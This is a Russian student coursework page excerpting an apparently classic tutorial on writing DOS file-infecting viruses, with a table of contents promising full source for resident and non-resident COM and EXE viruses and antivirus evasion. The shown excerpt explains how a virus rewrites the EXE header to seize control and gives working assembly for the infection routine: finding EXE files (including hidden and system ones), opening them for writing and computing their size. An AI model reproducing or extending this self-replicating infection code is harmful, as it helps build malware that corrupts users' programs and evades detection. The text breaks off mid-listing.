Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

 

    Байты 0C,0D : Содержат максимальное  число дополни-

                  тельных параграфов

 

    Байты 0E,0F : Содержат смещение в параграфах  сег-

                  мента стека в загрузочном  модуле;на-

                  зовем его SS0

 

    Байты 10,11 : Содержат значение  регистра SP, кото-

                  рое устанавливается перед   передачей

                  управления программе ( SP0 )

 

    Байты 12,13 : Содержат контрольную  сумму  EXE-фай-

                  ла

 

    Байты 14,15 : Содержат значение  регистра IP, кото-

                  рое устанавливается перед   передачей

                  управления программе ( IP0 )

 

    Байты  16,17 : Содержат смещение в параграфах  сег-

                  мента кода  в загрузочном модуле,или

                  CS0

 

    Байты  18,19 : Содержат расстояние в байтах  от  на-

                  чала файла до первого элемента  таб-

                  лицы настройки адресов

 

    Байты  1A,1B : Содержат "0", если данная  часть про-

                  граммы является резидентной,  или от-

                  личное от  нуля число - если  данная

                  часть является оверлейной

 

    Заметим,  что контрольная сумма определяется  сумми-

    рованием  всех слов, содержащихся в файле,без  учета

    переполнения.При  этом она практически нигде  не ис-

    пользуется.

 

 

        1.2  Загрузка и выполнение EXE - программы

 

    Действия MS DOS при запуске EXE - программы отли-

    чаются  от действий при запуске программы  типа COM,

    хотя  в обоих случаях операционная  система исполь-

    зует  одну и ту же функцию EXEC. Действия этой фун-

    кции при запуске EXE - программы выглядят так :

 

    1. Запускаемой  программе   отводится  вся  свобод-

    ная в данный момент  оперативная память .Сегментная

    часть начального адреса  этой памяти обычно называ-

    ется начальным сегментом  программы.

 

    2. По нулевому  смещению  в  сегменте, определяемом

    начальным сегментом  программы,EXEC строит PSP про-

    граммы.Заполняет PSP по-прежнему  операционная сис-

    тема, а его размер, как  и для COM - программы, ра-

    вен 256 байт .

 

    3. Сразу вслед за PSP загружается  сама EXE - прог-

    рамма.Причем в память помещается исключительно за-

    грузочный модуль, а заголовок  и таблица  настройки

    в память не копируются.После  этого выполняется так

    называемая  настройка  адресов . Ее  суть состоит в

    следующем :

    Некоторые команды  (например, команды далекого пе-

    рехода или вызова  процедуры, расположенной в   дру-

    гом программном сегменте) требуют указания  не то-

    лько  смещения,  но  и сегмента адреса .Компоновщик

    строит EXE - модуль относительно  некоторого " на-

    чального " адреса,но ведь в MS DOS программы могут

    загружаться в произвольную  область памяти !Поэтому

    при загрузке программы  к каждому сегментному адре-

    су  прибавляется значение  начального сегмента про-

    граммы . Этот процесс  и называют настройкой  адре-

    сов .У вас может  возникнуть вопрос,  откуда MS DOS

    знает, где расположены  требующие настройки элемен-

    ты .Для получения такой  информации система исполь-

    зует  таблицу  настройки, которая  находится в файле

    по  некоторому  смещению от его начала .Само смеще-

    ние  хранится в заголовке в байтах 18h, 19h .

 

    4. EXEC  выполняет настройку регистров  процессора.

    Обозначим  начальный сегмент программы  буквами NS0.

    Тогда  устанавливаемые значения регистров  будут вы-

    глядеть  так :

    DS = ES = NS0

    CS = NS0 + 10h + CS0

    IP = IP0

    SS = NS0 + 10h + SS0

    SP = SP0

    CS0, SS0, IP0 и SP0 берутся загрузчиком из  заголо-

    вка EXE - файла, а NS0 становится известным в про-

    цессе  загрузки .

 

    5. Теперь  загруженную EXE - программу можно  испол-

    нить . Для этого EXEC передает управление  по адре-

    су CS : IP .

 

    Стоит  заметить, что размер EXE - файла в  MS DOS не

    ограничивается  размером одного сегмента  и   может

    быть очень большим  ( примерно 65535*512 = 33553920

    байт !). Правда,для построения  очень больших EXE -

    программ используется  оверлейная структура.При ис-

    полнении программы,  имеющей оверлейную структуру  ,

    она не загружается  в память целиком.Вместо этого  в

    память помещается только ее резидентная часть, ко-

    торая по мере необходимости  подгружает те или иные

    оверлейные фрагменты  .

 

 

         1.3 Как вирус  может заразить EXE - файл

 

    Как и при заражении  COM - программ,  при заражении

    EXE - файлов вирусный код  может записываться в ко-

    нец,начало или в середину  файла.Запись в конец фа-

    йла,как и в предыдущем  случае,реализуется наиболее

    просто,и кроме того,предохраняет  от многих трудно-

    стей при отладке .Поэтому  мы создадим вирус, рабо-

    тающий имено по такому принципу .

    Для того,чтобы при  старте зараженной программы  код

    вируса получил управление, следует соответствующим

    образом модифицировать  заголовок EXE - файла . Для

    этого  исходные  значения  CS0 и IP0 заменяются на

    точку входа в вирусный код,  а значения SS0 и SP0

    " переключаются " на  собственный стек вируса.Кроме

    того, поскольку при заражении  изменяются длина за-

    грузочного модуля и  длина файла, необходимо  скор-

    ректировать поля заголовка  по смещению 02h, 03h, а

    также 04h, 05h .Вот и все  .

    Может показаться, что  создать вирус,заражающий EXE

    - файлы, намного сложнее,  чем COM - вирус . Однако

    это не так . Прочтите  эту главу,  и вы убедитесь  в

    этом !

 

 

         1.4 Работа  вируса в зараженной программе

 

    Рассмотрим теперь действия  вируса при получении им

    управления .

    Итак, вирус функционирует  по такому алгоритму :

 

    1. Ищет на диске подходящий EXE - файл .

 

    2. Записывает свое тело  в конец этого файла .

 

    3. Корректирует  заголовок   заражаемой  программы

    следующим образом :

 

       a.) Вместо исходных CS0 и IP0  заражаемой  про-

           граммы  записываются значения,  обеспечиваю-

           щие  передачу управления вирусному   коду при

           запуске  программы .

 

       б.) Исходные  SS0 и SP0 заменяются на значения,

           обеспечивающие  переключение на  собственный

           стек  вируса .

 

       в.) Корректируется  остаток от деления  размера

           загрузочного  модуля на 512 .

 

       г.) Поскольку  при заражении длина файла  увели-

           чивается, корректируется размер файла  в ст-

           раницах  ( одна страница равна 512 байт )  .

 

    Естественно,  перед корректировкой вирус обязан  со-

    хранить  исходные параметры заголовка  -ведь они по-

    требуются при передаче управления вирусному коду .

    После  коррекции заголовок записывается  на диск .

 

    4. Выполняет  вредные действия, предусмотренные  ав-

    тором  .

 

    5. Определяет  значения CS, IP, SS и SP,необходимые

    для  правильной работы программы,из которой старто-

    вал  вирус .

 

    6. Передает  управление зараженной  программе  . Для

    этого  вирус использует команду безусловного  даль-

    него  перехода.Адрес перехода задается  вычисленными

    CS и  IP .После этого начинается обычное  выполнение

    программы  .

 

 

                    1.5 Начало работы

 

    Как  и COM - вирус, EXE - вирус лучше разрабатывать

    в формате  COM .Это убережет нас от многих  ненужных

    трудностей .Поэтому напишем стандартное  начало COM

    программы :

 

    prg segment

       assume cs:prg,ds:prg,es:prg,ss:prg

          org 100h

 

    Как  вы помните, директива "assume cs:prg,ds:prg,es

    :prg,ss:prg" назначает сегментные регистры  сегмен-

    ту  с именем PRG, а директива "org 100h"  резерви-

    рует  место для PSP вирусной программы .

 

 

              1.6 Вирус получает управление

 

    В отличие  от COM - вируса,наша запускающая програ-

    мма  после запуска не будет   заменять в памяти свои

    первые  три байта командой перехода  на функцию  DOS

    завершения  программы . По  этой  причине можно не

    бояться,  что в заражаемый файл попадет  испорченный

    вирусный  код (см. п. 1.17 предыдущей части).Отсюда

    следует,  что директива " org 110h" нам  не  потре-

    буется .Значит,можно сразу переходить " к делу " :

 

    vir:       mov ax,cs              ;AX = CS ...

               db 2dh                 ;SUB AX,00h

    sub_ds     dw 0                   ;

               mov ds,ax              ;

               mov ss,ax              ;

 

               mov ah,1ah             ;Переключим DTA

       lea dx,new_dta         ;на соответству-

                                      ;ющий массив в

               int 21h                ;области данных

                                      ;вируса ...

 

    При  компиляции относительные адреса всех ячеек па-

    мяти  определяются относительно DS, который   указы-

    вает  на начало PSP .Но в зараженной  программе  при

    передаче  управления на код вируса регистр  CS будет

    указывать  на параграф, с которого начинается  этот

    код,  а не на начало PSP, а регистр DS вообще  ока-

    жется  настроенным на начальный сегмент  программы !

    Единственный  способ получить доступ к данным  виру-

    са  заключается в установке DS = CS.А  с учетом раз-

    мера PSP в 10h параграфов  значение DS следует уме-

    ньшить как раз на  эту величину .При заражении того

    или иного файла поле " sub_ds " для него будет за-

    полняться значением  10h.Поскольку запускающая про-

    грамма имеет COM - формат,  для нее CS = DS = SS =

    = ES,  и все они указывают  на начало PSP . Поэтому

    значение  DS корректировать  не нужно,  и  в  поле

    " sub_ds " запускающей  программы помещается ноль .

    Дальше вирус  переключает  DTA на массив "new_dta",

    расположенный  в области  данных вируса . Поскольку

    начальный сегмент  программы станет известным  при

    ее запуске,можно будет  без особого труда восстано-

    вить адрес исходной DTA.

 

 

                 1.7 Ищем подходящий файл

 

    Теперь наш вирус может  заняться поиском файла-жер-

    твы .Как мы договорились, вирус будет заражать EXE

    - файлы,  значит, такой файл и нужно  найти . Но по-

    скольку  фрагмент, который производит поиск   файлов

    с тем  или иным расширением уже был  создан, остает-

    ся  только воспользоваться им, внеся  некоторые  из-

    менения :

 

               mov ax,old_ip          ;Скопируем исхо-

               mov my_ip,ax           ;дные параметры

               mov ax,old_cs          ;заголовка зара-

               mov my_cs,ax           ;женной програм-

               mov ax,to_16h          ;мы в ячейки па-

               mov my_16h,ax          ;мяти " my_XX ",

               mov ax,old_ss          ;так как ячейки

               mov my_ss,ax           ;" old_XX ", в

               mov ax,old_sp          ;которых хранят-

               mov my_sp,ax           ;ся параметры,

                                      ;будут испорчены

                                      ;при заражении

                                      ;нового файла

 

    find_first:mov ah,4eh             ;Поиск первого

       mov cx,00100110b       ;файла :

       lea dx,maska           ;archive, system

       int 21h                ;hidden ...

       jnc r_3

       jmp restore_dta

 

    find_next: mov ah,3eh             ;Закроем  непод-

               mov bx,descrypt       ;ходящий файл

       int 21h

       jnc r_2

       jmp restore_dta

 

    r_2:       mov ah,4fh             ;Поиск следующе-

       int 21h                ;го ...

       jnc r_3

       jmp restore_dta

 

    r_3:       mov cx,12              ;Очистим об-

       lea si,fn              ;ласть " fn "

    kill_name: mov byte ptr [si],0

       inc si

       loop kill_name

 

               xor si,si              ;И перепишем

    copy_name: mov al,byte ptr new_dta[si + 01eh]

       cmp al,0               ;туда имя най-

       je open_file           ;денного файла

       mov byte ptr fn[si],al

       inc si

       jmp copy_name

 

    open_file: mov ax,3d02h           ;Откроем файл

       lea dx,fn              ;для чтения и

       int 21h                ;записи ...

       jnc found_size

       jmp r_2

 

    found_size:mov descrypt,ax        ;Определим раз-

               mov cx,word ptr [new_dta + 01ch]

               mov dx,word ptr [new_dta + 01ah]

               sub dx,1               ;мер файла и вы-

               sbb cx,0               ;чтем из него

                                      ;единицу  ...

               call setpointer        ;Установим  ука-

                                      ;затель на пос-

                                      ;ледний символ

 

    read_last: mov cx,1               ;Прочитаем

               lea dx,last            ;последний

Информация о работе Вирусы